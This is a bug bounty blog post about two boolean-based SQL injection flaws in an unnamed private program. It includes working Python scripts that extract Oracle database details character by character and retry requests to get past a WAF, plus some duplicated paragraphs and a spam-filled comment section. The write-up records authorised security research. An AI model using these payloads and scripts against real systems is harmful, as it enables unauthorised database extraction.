SQL Injection and A silly WAF
Hi Folks,
Today I'll be writing about some interesting SQL injection vulnerabilities I recently found.
This is a private program so I won't be mentioning who the vendor is.
#1: WAF? ok!
So I looked at the request and set the value of the parameter to `23' and '1'='1` and as expected the endpoint returned valid results which means it's vulnerable to SQL injection!
That's it, a lovely basic Boolean-Based SQL injection let's write the report and get a nice bounty!
But...
THE WAF! |
While further exploiting this vulnerability to extract data from the database as a proof of concept, the endpoint was returning {"error":"undergoing corrective maintenance"} even to normal requests without any SQLi payloads. I later realized that this is probably the WAF blocking some random requests when it suspects an IP address which explains why other researchers haven't reported this obvious SQLi before (maybe they thought it was a false-positive. I also thought that, it took me some time to understand what was going on!)
So I wrote a python script that detects when the WAF blocks a request if the response contains "undergoing corrective maintenance" and repeats it until we get response from the server (If we get "Error" or "True" that means we are talking to the server):
import requests
c = {} # Cookies
s = '_-@.abcdefghijklmnopqrstuvwxyz0123456789'
res = ''
restart = True
while(restart):
restart = False
for i in s:
if(i == '_'):
i = '\\_'
# print i
p = "23' AND (select lower(ora_database_name) from dual) like '"+str(res)+str(i)+"%" # SQL Query
try:
r = requests.post("http://target/vulnerable",data={"serialNumber":p}, headers=c)
except requests.exceptions.Timeout as e:
print "Timed out"
while('undergoing corrective' in r.content): # Silly WAF? repeat the request
print "Repeating Request"
r = requests.post("http://target/vulnerable",data={"serialNumber":p}, headers=c)
if "SESSION_EXPIRED" in r.content:
print "ERROR - SESSION_EXPIRED"
break
if "true" in r.content: ## No error, correct char
res+=i
print res , "found"
restart = True
break
The PoC worked, I reported the vulnerability and received the bounty.
I didn't stop right there, now knowing how the WAF works, I kept testing all other endpoints and found a couple more with the same technique.
Ok, that probably was not that hard, let's move on to the next level.
#2: Fuck you WAF!
One of the endpoints (a non-json one) was also vulnerable to boolean based sql injection similar to the one above, but the WAF this time was acting differently.
When my SQL query evaluated to `true` the response had a specific word, let's say `2222`, but when it evaluated to false, the application returned a static error page.
The problem was that the WAF was returning the exact same response as when the query evaluated to false which means I can't differentiate between a response that was sent by the WAF and a response that was sent by the server when the query is evaluated to false as they both are exactly the same!
When my SQL query evaluated to `true` the response had a specific word, let's say `2222`, but when it evaluated to false, the application returned a static error page.
The problem was that the WAF was returning the exact same response as when the query evaluated to false which means I can't differentiate between a response that was sent by the WAF and a response that was sent by the server when the query is evaluated to false as they both are exactly the same!
I kept trying to bypass the WAF but no luck, it was returning the same error page for random requests even when the query evaluated to true so I wasn't able to extract anything from the database.
I was about to give up when I came across an idea to write a python script that repeats any request that returns an error page (which means the query was evaluated to false) for 5 times to make sure we get response from the server not the WAF since the WAF was blocking random requests and it actually WORKED!
I was about to give up when I came across an idea to write a python script that repeats any request that returns an error page (which means the query was evaluated to false) for 5 times to make sure we get response from the server not the WAF since the WAF was blocking random requests and it actually WORKED!
import requests
c = {} # cookies
s = '_-@.abcdefghijklmnopqrstuvwxyz0123456789'
res = ''
restart = True
x = 0
r = ''
while(restart):
restart = False
for i in s:
x = 0
if(i == '_'):
i = '\\_'
p = "6214111' and (SELECT lower(user) from dual) like '"+str(res)+str(i)+"%,2222" # SQL Query
try:
r = requests.post("https://target/vulnerable2/",data={"Nbr":p}, headers=c)
except requests.exceptions.Timeout as e:
print "Timed out"
if "2222" not in r.content:
while("2222" not in r.content and x < 5): ## repeat 5 times to make sure we are talking to the server :)
r = requests.post("https://target/vulnerable2/",data={"Nbr":p}, headers=c)
x += 1
else:
res+=str(i)
print res , "found"
restart = True
break
if "2222" in r.content:
res+=str(i)
print res , "found"
restart = True
break
Again, bug hunted, silly WAF beaten, report sent and bounty granted!
I wanted to write about another interesting SQL injection on the same program but since it's a little bit different and has nothing to do with the WAF, I will keep it for the next post.
That's it for today, if you have any questions drop me a tweet @Zombiehelp54
That's it for today, if you have any questions drop me a tweet @Zombiehelp54
Hi sir .I think i found boolen based sql injection but problem is it is in image download functionality.so when I try to use version() in vulnerable column it isn't printing version.please help
ReplyDeleteI am reading your post from the beginning, it was so interesting to read & I feel thanks to you for posting such a good blog, keep updates regularly.
ReplyDeleteEthical Hacking Course in Chennai
Hacking Course in Chennai
Hacking Classes in Chennai
Blue Prism Training in Chennai
CCNA Course in Chennai
Cloud Computing Training in Chennai
Ethical Hacking Training in OMR
Noice
ReplyDeleteThis comment has been removed by the author.
ReplyDeleteThis comment has been removed by the author.
ReplyDeleteThis comment has been removed by the author.
ReplyDeleteThis comment has been removed by the author.
ReplyDeleteYour blog is more informative and inspirational to others.it gives wish to know more about this.
ReplyDeleteJAVA Training in Chennai
JAVA Training in Tnagar
Selenium Training in Chennai
Digital Marketing Course in Chennai
Python Training in Chennai
Big data training in chennai
JAVA Training in Chennai
Java Training in Velachery
Nice blog!! I hope you will share more info like this. I will use this for my studies and research.
ReplyDeleteDevOps Training in Chennai
DevOps foundation certification
DevOps certification
AWS Training in Chennai
Cloud Computing Training in Chennai
Data Science Training in Chennai
DevOps Training in Anna Nagar
DevOps Training in Vadapalani
DevOps Training in Guindy
DevOps Training in Thiruvanmiyur
Learned a lot from your post and it is really good. Share more tech updates regularly.
ReplyDeleteEthical Hacking course in Chennai
Ethical Hacking Training in Chennai
Hacking course in Chennai
ccna course in Chennai
Salesforce Training in Chennai
AngularJS Training in Chennai
PHP Training in Chennai
Ethical Hacking course in Tambaram
Ethical Hacking course in Velachery
Ethical Hacking course in T Nagar
Thanks for sharing this Informative content.
ReplyDeletePower BI Training In Hyderabad
Power BI Training
Power BI Online Training
Power BI Training Online
Thanks for your blog; I really prefer this blog for my future reference.
ReplyDeleteEnglish Speaking Classes in Mulund
IELTS Classes in Mulund
German Classes in Mulund
French Classes in Mulund
Spoken English Classes in Chennai
IELTS Coaching in Chennai
English Speaking Classes in Mumbai
IELTS Classes in Mumbai
Spoken English Class in Anna Nagar
IELTS Coaching in Tambaram
Awesome article! You are providing us very valid information. This is worth reading. Keep sharing more such articles.
ReplyDeleteAutomation Anywhere Training in Chennai
Automation courses in Chennai
Machine Learning Training in Chennai
Blue Prism Training in Chennai
UiPath Training in Chennai
Automation Anywhere Training in OMR
Automation Anywhere Training in Porur
Automation Anywhere Training in T Nagar
Automation Anywhere Training in Velachery
ReplyDeleteThank you for this great information. I’ve only had one Ultrasound guided injection my hip one time. I’ve been considering it for other issues and this information has been very helpful, things I didn’t know about.
Regards
Ultrasound guided injection
After reading your article I was amazed. I know that you explain it very well. And I hope that other readers will also experience how I feel after reading your article.
ReplyDeleteartificial intelligence course in mumbai
machine learning courses in mumbai
I finally found great post here.I will get back here. I just added your blog to my bookmark sites. thanks.Quality posts is the crucial to invite the visitors to visit the web page, that's what this web page is providing.
ReplyDeleteExcelR Data Science training in Mumbai
Great blog!!try to create a blog for digital marketing and post
ReplyDeleteDigital marketing course in Hyderabad-360DigiTMG
Study Artificial Intelligence Course with ExcelR where you get a great experience and better knowledge.
ReplyDeleteArtificial Intelligence Course
Location 1:
ExcelR - Data Science, Data Analytics Course Training in Bangalore 49, 1st Cross, 27th Main BTM Layout stage 1 Behind Tata Motors Bengaluru, Karnataka 560068 Phone: 096321 56744 Hours: Sunday - Saturday 7AM - 11PM
Location 2:
ExcelR #49, Ground Floor, 27th Main, Near IQRA International School, opposite to WIF Hospital, 1st Stage, BTM Layout, Bengaluru, Karnataka 560068 Phone: 070224 51093 Hours: Sunday - Saturday 7AM - 10PM
ReplyDeleteVery nice job... Thanks for sharing this amazing and educative blog post!ExcelR Digital Marketing Class In Pune